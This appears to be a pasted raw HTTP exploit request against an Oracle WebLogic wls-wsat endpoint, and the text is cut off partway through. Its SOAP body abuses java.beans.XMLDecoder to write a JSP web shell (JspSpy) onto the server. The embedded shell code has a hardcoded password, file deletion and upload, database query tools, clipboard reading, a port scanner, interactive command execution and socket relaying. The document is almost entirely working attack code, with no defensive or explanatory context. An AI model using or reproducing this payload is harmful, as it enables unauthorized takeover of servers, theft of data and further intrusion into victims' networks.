· 8 years ago · Jul 27, 2018, 09:46 PM
1POST /wls-wsat/CoordinatorPortType HTTP/1.1
2Host:
3User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5Accept-Language: en-US,en;q=0.5
6Accept-Encoding: gzip, deflate
7Cookie: JSESSIONID=QYk2bvxGTMdpnhL7y1HFQy886j4tycJchnQWGv2fB2GGpBkw1LnJ!-1573317596; ADMINCONSOLESESSION=bXM2bvRQcvF563dJMyM2tnhjDGLNQqNs5YvzcJzDY5dPfqTNTy6P!-1573317596
8Connection: close
9Content-Length: 124287
10
11<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
12<soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"
13><java><java version="1.4.0" class="java.beans.XMLDecoder">
14<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
15<string>
16<![CDATA[<%@page pageEncoding="ISO-8859-1"%>
17<%@page import="java.io.*"%>
18<%@page import="java.util.*"%>
19<%@page import="java.util.regex.*"%>
20<%@page import="java.sql.*"%>
21<%@page import="java.lang.reflect.*"%>
22<%@page import="java.nio.charset.*"%>
23<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
24<%@page import="java.text.*"%>
25<%@page import="java.net.*"%>
26<%@page import="java.util.zip.*"%>
27<%@page import="java.util.jar.*"%>
28<%@page import="java.awt.*"%>
29<%@page import="java.awt.image.*"%>
30<%@page import="javax.imageio.*"%>
31<%@page import="java.awt.datatransfer.DataFlavor"%>
32<%@page import="java.util.prefs.Preferences"%>
33<%!
34
35private static final String PW = "123!@#123"; //password
36private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
37private static final String REQUEST_CHARSET = "ISO-8859-1";
38private static final String PAGE_CHARSET = "UTF-8";
39private static final String CURRENT_DIR = "currentdir";
40private static final String MSG = "SHOWMSG";
41private static final String PORT_MAP = "PMSA";
42private static final String DBO = "DBO";
43private static final String SHELL_ONLINE = "SHELL_ONLINE";
44private static final String ENTER = "ENTER_FILE";
45private static final String ENTER_MSG = "ENTER_FILE_MSG";
46private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
47private static final String SESSION_O = "SESSION_O";
48private static String SHELL_NAME = "";
49private static String WEB_ROOT = null;
50private static String SHELL_DIR = null;
51public static Map ins = new HashMap();
52private static boolean ISLINUX = false;
53
54private static final String MODIFIED_ERROR = "Shell Was Modified By Some Other Applications. Please Logout.";
55private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
56
57private static class MyRequest extends HttpServletRequestWrapper {
58public MyRequest(HttpServletRequest req) {
59super(req);
60}
61public String getParameter(String name) {
62try {
63String value = super.getParameter(name);
64if (name == null)
65return null;
66return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
67} catch (Exception e) {
68return null;
69}
70}
71}
72private static class SpyClassLoader extends ClassLoader{
73public SpyClassLoader() {
74}
75public Class defineClass(String name,byte[] b) {
76return super.defineClass(name,b,0,b.length - 2);
77}
78}
79static class DBOperator implements Serializable{
80private Connection conn = null;
81private Statement stmt = null;
82private String driver;
83private String url;
84private String uid;
85private String pwd;
86public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
87this(driver,url,uid,pwd,false);
88}
89public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
90Class.forName(driver);
91if (connect)
92this.conn = DriverManager.getConnection(url,uid,pwd);
93this.url = url;
94this.driver = driver;
95this.uid = uid;
96this.pwd = pwd;
97}
98public void connect() throws Exception{
99this.conn = DriverManager.getConnection(url,uid,pwd);
100}
101public Object execute(String sql) throws Exception {
102if (isValid()) {
103stmt = conn.createStatement();
104if (stmt.execute(sql)) {
105return stmt.getResultSet();
106} else {
107return ""+stmt.getUpdateCount();
108}
109}
110throw new Exception("Connection is inValid.");
111}
112public void closeStmt() throws Exception{
113if (this.stmt != null)
114stmt.close();
115}
116public boolean isValid() throws Exception {
117return conn != null && !conn.isClosed();
118}
119public void close() throws Exception {
120if (isValid()) {
121closeStmt();
122conn.close();
123}
124}
125public boolean equals(Object o) {
126if (o instanceof DBOperator) {
127DBOperator dbo = (DBOperator)o;
128return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
129}
130return false;
131}
132public Connection getConn(){
133return this.conn;
134}
135}
136private static class StreamConnector extends Thread {
137private InputStream is;
138private OutputStream os;
139public StreamConnector( InputStream is, OutputStream os ){
140this.is = is;
141this.os = os;
142}
143public void run(){
144BufferedReader in = null;
145BufferedWriter out = null;
146try{
147in = new BufferedReader( new InputStreamReader(this.is));
148out = new BufferedWriter( new OutputStreamWriter(this.os));
149char buffer[] = new char[8192];
150int length;
151while((length = in.read( buffer, 0, buffer.length ))>0){
152out.write( buffer, 0, length );
153out.flush();
154}
155} catch(Exception e){}
156try{
157if(in != null)
158in.close();
159if(out != null)
160out.close();
161} catch( Exception e ){}
162}
163public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
164new Thread(new Runnable(){
165public void run(){
166while (true) {
167try{
168byte[] data = new byte[100];
169int len = localIn.read(data);
170while (len != -1) {
171remoteOut.write(data,0,len);
172len = localIn.read(data);
173}
174}catch (Exception e) {
175break;
176}
177}
178}
179}).start();
180}
181public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
182new Thread(new Runnable(){
183public void run(){
184while(true) {
185try{
186byte[] data = new byte[100];
187int len = remoteIn.read(data);
188while (len != -1) {
189localOut.write(data,0,len);
190len = remoteIn.read(data);
191}
192}catch (Exception e) {
193try{
194soc.close();
195remoteSoc.close();
196}catch(Exception ex) {
197}
198break;
199}
200}
201}
202}).start();
203}
204}
205private static class EnterFile extends File{
206private ZipFile zf = null;
207private ZipEntry entry = null;
208private boolean isDirectory = false;
209private String absolutePath = null;
210public void setEntry(ZipEntry e) {
211this.entry = e;
212}
213public void setAbsolutePath(String p) {
214this.absolutePath = p;
215}
216public void close() throws Exception{
217this.zf.close();
218}
219public void setZf(String p) throws Exception{
220if (p.toLowerCase().endsWith(".jar"))
221this.zf = new JarFile(p);
222else
223this.zf = new ZipFile(p);
224}
225public EnterFile(File parent, String child) {
226super(parent,child);
227}
228public EnterFile(String pathname) {
229super(pathname);
230}
231public EnterFile(String pathname,boolean isDir) {
232this(pathname);
233this.isDirectory = isDir;
234}
235public EnterFile(String parent, String child) {
236super(parent,child);
237}
238public EnterFile(URI uri) {
239super(uri);
240}
241public boolean exists(){
242return new File(this.zf.getName()).exists();
243}
244public File[] listFiles() {
245java.util.List list = new ArrayList();
246java.util.List handled = new ArrayList();
247String currentDir = super.getPath();
248currentDir = currentDir.replace('\\','/');
249if (currentDir.indexOf("/") == 0)
250{
251if (currentDir.length() > 1)
252currentDir = currentDir.substring(1);
253else
254currentDir = "";
255}
256Enumeration e = this.zf.entries();
257while (e.hasMoreElements())
258{
259ZipEntry entry = (ZipEntry)e.nextElement();
260String eName = entry.getName();
261if (this.zf instanceof JarFile) {
262if (!entry.isDirectory()){
263EnterFile ef = new EnterFile(eName);
264ef.setEntry(entry);
265try{
266ef.setZf(this.zf.getName());
267}catch(Exception ex) {
268}
269list.add(ef);
270}
271} else {
272if (currentDir.equals("")) {
273//zip root directory
274if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
275{
276EnterFile ef = new EnterFile(eName.replaceAll("/",""));
277handled.add(eName.replaceAll("/",""));
278ef.setEntry(entry);
279list.add(ef);
280} else {
281if (eName.indexOf("/") != -1) {
282String tmp = eName.substring(0,eName.indexOf("/"));
283if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
284EnterFile ef = new EnterFile(tmp,true);
285ef.setEntry(entry);
286list.add(ef);
287handled.add(tmp);
288}
289}
290}
291} else {
292if (eName.startsWith(currentDir)) {
293if (eName.matches(currentDir+"/[^/]+/?$")) {
294//file.
295EnterFile ef = new EnterFile(eName);
296ef.setEntry(entry);
297list.add(ef);
298if (eName.endsWith("/")) {
299String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
300tmp = tmp.substring(1,tmp.length()-1);
301handled.add(tmp);
302}
303} else {
304//dir
305try {
306String tmp = eName.substring(currentDir.length()+1);
307tmp = tmp.substring(0,tmp.indexOf('/'));
308if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
309EnterFile ef = new EnterFile(tmp,true);
310ef.setAbsolutePath(currentDir+"/"+tmp);
311ef.setEntry(entry);
312list.add(ef);
313handled.add(tmp);
314}
315} catch (Exception ex) {
316}
317}
318}
319}
320}
321}
322return (File[])list.toArray(new File[0]);
323}
324public boolean isDirectory(){
325return this.entry.isDirectory() || this.isDirectory;
326}
327public String getParent(){
328return "";
329}
330public String getAbsolutePath(){
331return absolutePath != null ? absolutePath : super.getPath();
332}
333public String getName(){
334if (this.zf instanceof JarFile) {
335return this.getAbsolutePath();
336} else {
337return super.getName();
338}
339}
340public long lastModified(){
341return entry.getTime();
342}
343public boolean canRead(){
344return false;
345}
346public boolean canWrite(){
347return false;
348}
349public boolean canExecute(){
350return false;
351}
352public long length(){
353return entry.getSize();
354}
355}
356private static class OnLineProcess {
357private String cmd = "first";
358private Process pro;
359public OnLineProcess(Process p){
360this.pro = p;
361}
362public void setPro(Process p) {
363this.pro = p;
364}
365public void setCmd(String c){
366this.cmd = c;
367}
368public String getCmd(){
369return this.cmd;
370}
371public Process getPro(){
372return this.pro;
373}
374public void stop(){
375this.pro.destroy();
376}
377}
378private static class OnLineConnector extends Thread {
379private OnLineProcess ol = null;
380private InputStream is;
381private OutputStream os;
382private String name;
383public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
384this.is = is;
385this.os = os;
386this.name = name;
387this.ol = ol;
388}
389public void run(){
390BufferedReader in = null;
391BufferedWriter out = null;
392try{
393in = new BufferedReader( new InputStreamReader(this.is));
394out = new BufferedWriter( new OutputStreamWriter(this.os));
395char buffer[] = new char[128];
396if(this.name.equals("exeRclientO")) {
397//from exe to client
398int length = 0;
399while((length = in.read( buffer, 0, buffer.length ))>0){
400String str = new String(buffer, 0, length);
401str = str.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
402str = str.replaceAll(""+(char)13+(char)10,"<br/>");
403str = str.replaceAll("\n","<br/>");
404out.write(str.toCharArray(), 0, str.length());
405out.flush();
406}
407} else {
408//from client to exe
409while(true) {
410while(this.ol.getCmd() == null) {
411Thread.sleep(500);
412}
413if (this.ol.getCmd().equals("first")) {
414this.ol.setCmd(null);
415continue;
416}
417this.ol.setCmd(this.ol.getCmd() + (char)10);
418char[] arr = this.ol.getCmd().toCharArray();
419out.write(arr,0,arr.length);
420out.flush();
421this.ol.setCmd(null);
422}
423}
424} catch(Exception e){
425}
426try{
427if(in != null)
428in.close();
429if(out != null)
430out.close();
431} catch( Exception e ){
432}
433}
434}
435private static class Table{
436private ArrayList rows = null;
437private boolean echoTableTag = false;
438public void setEchoTableTag(boolean v) {
439this.echoTableTag = v;
440}
441public Table(){
442this.rows = new ArrayList();
443}
444public void addRow(Row r) {
445this.rows.add(r);
446}
447public String toString(){
448StringBuffer html = new StringBuffer();
449if (echoTableTag)
450html.append("<table>");
451for (int i = 0;i<rows.size();i++) {
452 Row r=(Row)rows.get(i);
453html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
454 ArrayList columns = r.getColumns();
455for (int a = 0;a<columns.size();a++) {
456 Column c = (Column)columns.get(a);
457html.append("<td nowrap>");
458String vv = Util.htmlEncode(Util.getStr(c.getValue()));
459if (vv.equals(""))
460vv = " ";
461html.append(vv);
462html.append("</td>");
463}
464html.append("</tr>");
465}
466if (echoTableTag)
467html.append("</table>");
468return html.toString();
469}
470public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
471StringBuffer table = new StringBuffer();
472ResultSetMetaData meta = rs.getMetaData();
473int count = meta.getColumnCount();
474if (!op)
475table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
476else
477table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
478table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
479table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
480for (int i = 1;i<=count;i++) {
481table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
482}
483if (op)
484table.append("<td> </td>");
485table.append("</tr>");
486while (rs.next()) {
487String tbName = null;
488table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
489for (int i = 1;i<=count;i++) {
490String v = rs.getString(i);
491if (i == 3)
492tbName = v;
493table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
494}
495if (op)
496table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
497table.append("</tr>");
498}
499table.append("</table><br/>");
500return table.toString();
501}
502}
503private static class Row{
504private ArrayList cols = null;
505public Row(){
506this.cols = new ArrayList();
507}
508public void addColumn(Column n) {
509this.cols.add(n);
510}
511public ArrayList getColumns(){
512return this.cols;
513}
514}
515private static class Column{
516private String value;
517public Column(String v){
518this.value = v;
519}
520public String getValue(){
521return this.value;
522}
523}
524private static class Util{
525public static boolean isEmpty(String s) {
526return s == null || s.trim().equals("");
527}
528public static boolean isEmpty(Object o) {
529return o == null || isEmpty(o.toString());
530}
531public static String getSize(long size,char danwei) {
532if (danwei == 'M') {
533double v = formatNumber(size / 1024.0 / 1024.0,2);
534if (v > 1024) {
535return getSize(size,'G');
536}else {
537return v + "M";
538}
539} else if (danwei == 'G') {
540return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
541} else if (danwei == 'K') {
542double v = formatNumber(size / 1024.0,2);
543if (v > 1024) {
544return getSize(size,'M');
545} else {
546return v + "K";
547}
548} else if (danwei == 'B') {
549if (size > 1024) {
550return getSize(size,'K');
551}else {
552return size + "B";
553}
554}
555return ""+0+danwei;
556}
557public static boolean exists(String[] arr,String v) {
558for (int i =0;i<arr.length;i++) {
559if (v.equals(arr[i])) {
560return true;
561}
562}
563return false;
564}
565public static double formatNumber(double value,int l) {
566NumberFormat format = NumberFormat.getInstance();
567format.setMaximumFractionDigits(l);
568format.setGroupingUsed(false);
569return new Double(format.format(value)).doubleValue();
570}
571public static boolean isInteger(String v) {
572if (isEmpty(v))
573return false;
574return v.matches("^\\d+$");
575}
576public static String formatDate(long time) {
577SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
578return format.format(new java.util.Date(time));
579}
580public static String convertPath(String path) {
581return path != null ? path.replace('\\','/') : "";
582}
583public static String htmlEncode(String v) {
584if (isEmpty(v))
585return "";
586return v.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
587}
588public static String getStr(String s) {
589return s == null ? "" :s;
590}
591public static String null2Nbsp(String s) {
592if (s == null)
593s = " ";
594return s;
595}
596public static String getStr(Object s) {
597return s == null ? "" :s.toString();
598}
599public static String exec(String regex, String str, int group) {
600Pattern pat = Pattern.compile(regex);
601Matcher m = pat.matcher(str);
602if (m.find())
603return m.group(group);
604return null;
605}
606public static void outMsg(Writer out,String msg) throws Exception {
607outMsg(out,msg,"center");
608}
609public static void outMsg(Writer out,String msg,String align) throws Exception {
610out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
611}
612public static String highLight(String str) {
613str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
614str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
615return str;
616}
617}
618private static class UploadBean {
619private String fileName = null;
620private String suffix = null;
621private String savePath = "";
622private ServletInputStream sis = null;
623private OutputStream targetOutput = null;
624private byte[] b = new byte[1024];
625public void setTargetOutput(OutputStream stream) {
626this.targetOutput = stream;
627}
628public UploadBean() {
629}
630public void setSavePath(String path) {
631this.savePath = path;
632}
633public String getFileName(){
634return this.fileName;
635}
636public void parseRequest(HttpServletRequest request) throws IOException {
637sis = request.getInputStream();
638int a = 0;
639int k = 0;
640String s = "";
641while ((a = sis.readLine(b,0,b.length))!= -1) {
642s = new String(b, 0, a,PAGE_CHARSET);
643if ((k = s.indexOf("filename=\""))!= -1) {
644s = s.substring(k + 10);
645k = s.indexOf("\"");
646s = s.substring(0, k);
647File tF = new File(s);
648if (tF.isAbsolute()) {
649fileName = tF.getName();
650} else {
651fileName = s;
652}
653k = s.lastIndexOf(".");
654suffix = s.substring(k + 1);
655upload();
656}
657}
658}
659private void upload() throws IOException{
660try {
661OutputStream out = null;
662if (this.targetOutput != null)
663out = this.targetOutput;
664else
665out = new FileOutputStream(new File(savePath,fileName));
666int a = 0;
667int k = 0;
668String s = "";
669while ((a = sis.readLine(b,0,b.length))!=-1) {
670s = new String(b, 0, a);
671if ((k = s.indexOf("Content-Type:"))!=-1) {
672break;
673}
674}
675sis.readLine(b,0,b.length);
676while ((a = sis.readLine(b,0,b.length)) != -1) {
677s = new String(b, 0, a);
678if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
679break;
680}
681out.write(b, 0, a);
682}
683if (out instanceof FileOutputStream)
684out.close();
685} catch (IOException ioe) {
686throw ioe;
687}
688}
689}
690%>
691<%
692SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
693String myAbsolutePath = application.getRealPath(request.getServletPath());
694if (Util.isEmpty(myAbsolutePath)) {//for weblogic
695SHELL_NAME = request.getServletPath();
696myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
697SHELL_NAME=request.getContextPath()+SHELL_NAME;
698WEB_ROOT = new File(application.getResource("/").getPath()).toString();
699} else {
700WEB_ROOT = application.getRealPath("/");
701}
702SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
703if (SHELL_DIR.indexOf('/') == 0)
704ISLINUX = true;
705else
706ISLINUX = false;
707if (session.getAttribute(CURRENT_DIR) == null)
708session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
709HttpServletRequest request2 = new MyRequest(request);
710if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
711String o = request2.getParameter("o");
712if (o != null && o.equals("login")) {
713((Invoker)ins.get("login")).invoke(request2,response,session);
714return;
715} else if (o != null && o.equals("vLogin")) {
716((Invoker)ins.get("vLogin")).invoke(request2,response,session);
717return;
718} else {
719((Invoker)ins.get("vLogin")).invoke(request2,response,session);
720return;
721}
722}
723%>
724<%!
725private static interface Invoker {
726public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
727public boolean doBefore();
728public boolean doAfter();
729}
730private static class DefaultInvoker implements Invoker{
731public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
732}
733public boolean doBefore(){
734return true;
735}
736public boolean doAfter() {
737return true;
738}
739}
740private static class ScriptInvoker extends DefaultInvoker{
741public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
742try {
743PrintWriter out = response.getWriter();
744out.println("<script type=\"text/javascript\">"+
745" String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
746" function fso(obj) {"+
747" this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
748" this.filename = obj.filename;"+
749" this.path = obj.path;"+
750" this.filetype = obj.filetype;"+
751" this.charset = obj.charset;"+
752" };"+
753" fso.prototype = {"+
754" copy:function(){"+
755" var path = prompt('Copy To : ',this.path);"+
756" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
757" doPost({o:'copy',src:this.path,to:path});"+
758" },"+
759" move:function() {"+
760" var path =prompt('Move To : ',this.path);"+
761" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
762" doPost({o:'move',src:this.path,to:path})"+
763" },"+
764" vEdit:function() {"+
765" if (!this.charset)"+
766" doPost({o:'vEdit',filepath:this.path});"+
767" else"+
768" doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
769" },"+
770" down:function() {"+
771" doPost({o:'down',path:this.path})"+
772" },"+
773" removedir:function() {"+
774" if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
775" doPost({o:'removedir',dir:this.path});"+
776" },"+
777" mkdir:function() {"+
778" var name = prompt('Input New Directory Name','');"+
779" if (name == null || name.trim().length == 0)return;"+
780" doPost({o:'mkdir',name:name});"+
781" },"+
782" subdir:function(out) {"+
783" doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
784" },"+
785" parent:function() {"+
786" var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
787" doPost({o:'filelist',folder:parent})"+
788" },"+
789" createFile:function() {"+
790" var path = prompt('Input New File Name','');"+
791" if (path == null || path.trim().length == 0) return;"+
792" doPost({o:'vCreateFile',filepath:path})"+
793" },"+
794" deleteBatch:function() {"+
795" if (!confirm('Are You Sure To Delete These Files?')) return;"+
796" var selected = new Array();"+
797" var inputs = document.getElementsByTagName('input');"+
798" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
799" if (selected.length == 0) {alert('No File Selected');return;}"+
800" doPost({o:'deleteBatch',files:selected.join(',')})"+
801" },"+
802" packBatch:function() {"+
803" var selected = new Array();"+
804" var inputs = document.getElementsByTagName('input');"+
805" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
806" if (selected.length == 0) {alert('No File Selected');return;}"+
807" var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
808" if (savefilename == null || savefilename.trim().length == 0)return;"+
809" doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
810" },"+
811" pack:function(showconfig) {"+
812" if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
813" var tmpName = '';"+
814" if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
815" else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
816" tmpName += '.zip';"+
817" var path = this.path;"+
818" var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
819" if (name == null || path.trim().length == 0) return;"+
820" doPost({o:'pack',packedfile:path,savefilename:name})"+
821" },"+
822" vEditProperty:function() {"+
823" var path = this.path;"+
824" doPost({o:'vEditProperty',filepath:path})"+
825" },"+
826" unpack:function() {"+
827" var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
828" if (path == null || path.trim().length == 0) return;"+
829" doPost({o:'unpack',savepath:path,zipfile:this.path})"+
830" },"+
831" enter:function() {"+
832" doPost({o:'enter',filepath:this.path})"+
833" }"+
834" };"+
835" function doPost(obj) {"+
836" var form = document.forms[\"doForm\"];"+
837" var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
838" for (var pro in obj)"+
839" {"+
840" var input = document.createElement(\"input\");"+
841" input.type = \"hidden\";"+
842" input.name = pro;"+
843" input.value = obj[pro];"+
844" form.appendChild(input);"+
845" }"+
846" form.submit();"+
847" }"+
848"</script>");
849
850} catch (Exception e) {
851
852throw e ;
853}
854}
855}
856private static class BeforeInvoker extends DefaultInvoker {
857public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
858try {
859PrintWriter out = response.getWriter();
860out.println("<html><head><title>Management Panel</title><style type=\"text/css\">"+
861"body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
862".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
863".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
864".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
865"a {color: #00f;text-decoration:underline;}"+
866"a:hover{color: #f00;text-decoration:none;}"+
867".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
868".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
869".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
870".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
871".head td span{font-weight:normal;}"+
872"form{margin:0;padding:0;}"+
873"h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
874"ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
875"u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
876".secho{height:400px;width:100%;overflow:auto;border:none}"+
877"hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
878"</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
879} catch (Exception e) {
880
881throw e ;
882}
883}
884}
885private static class AfterInvoker extends DefaultInvoker {
886public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
887try {
888PrintWriter out = response.getWriter();
889out.println("</body></html>");
890} catch (Exception e) {
891
892throw e ;
893}
894}
895}
896private static class DeleteBatchInvoker extends DefaultInvoker {
897public boolean doBefore(){return false;}
898public boolean doAfter(){return false;}
899public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
900try {
901String files = request.getParameter("files");
902int success = 0;
903int failed = 0;
904if (!Util.isEmpty(files)) {
905String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
906String[] arr = files.split(",");
907for (int i = 0;i<arr.length;i++) {
908 String fs = arr[i];
909File f = new File(currentDir,fs);
910if(f.delete())
911success += 1;
912else
913failed += 1;
914}
915}
916JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
917response.sendRedirect(SHELL_NAME);
918} catch (Exception e) {
919
920throw e ;
921}
922}
923}
924private static class ClipBoardInvoker extends DefaultInvoker {
925public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
926try {
927PrintWriter out = response.getWriter();
928out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
929" <tr>"+
930" <td>"+
931" <h2>System Clipboard »</h2>"+
932"<p><pre>");
933try{
934out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
935}catch (Exception ex) {
936out.println("ClipBoard is Empty Or Is Not Text Data !");
937}
938out.println("</pre>"+
939" <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
940" </p>"+
941" </td>"+
942" </tr>"+
943"</table>");
944} catch (Exception e) {
945
946throw e ;
947}
948}
949}
950private static class VPortScanInvoker extends DefaultInvoker {
951public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
952try {
953PrintWriter out = response.getWriter();
954String ip = request.getParameter("ip");
955String ports = request.getParameter("ports");
956String timeout = request.getParameter("timeout");
957String banner = request.getParameter("banner");
958if (Util.isEmpty(ip))
959ip = "127.0.0.1";
960if (Util.isEmpty(ports))
961ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
962if (Util.isEmpty(timeout))
963timeout = "2";
964out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
965"<h2 id=\"Bin_H2_Title\">PortScan >></h2>"+
966"<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
967"<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
968"IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
969"</p>"+
970"</form></div>"+
971"</td></tr></table>");
972} catch (Exception e) {
973
974throw e ;
975}
976}
977}
978private static class PortScanInvoker extends DefaultInvoker {
979public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
980try {
981PrintWriter out = response.getWriter();
982((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
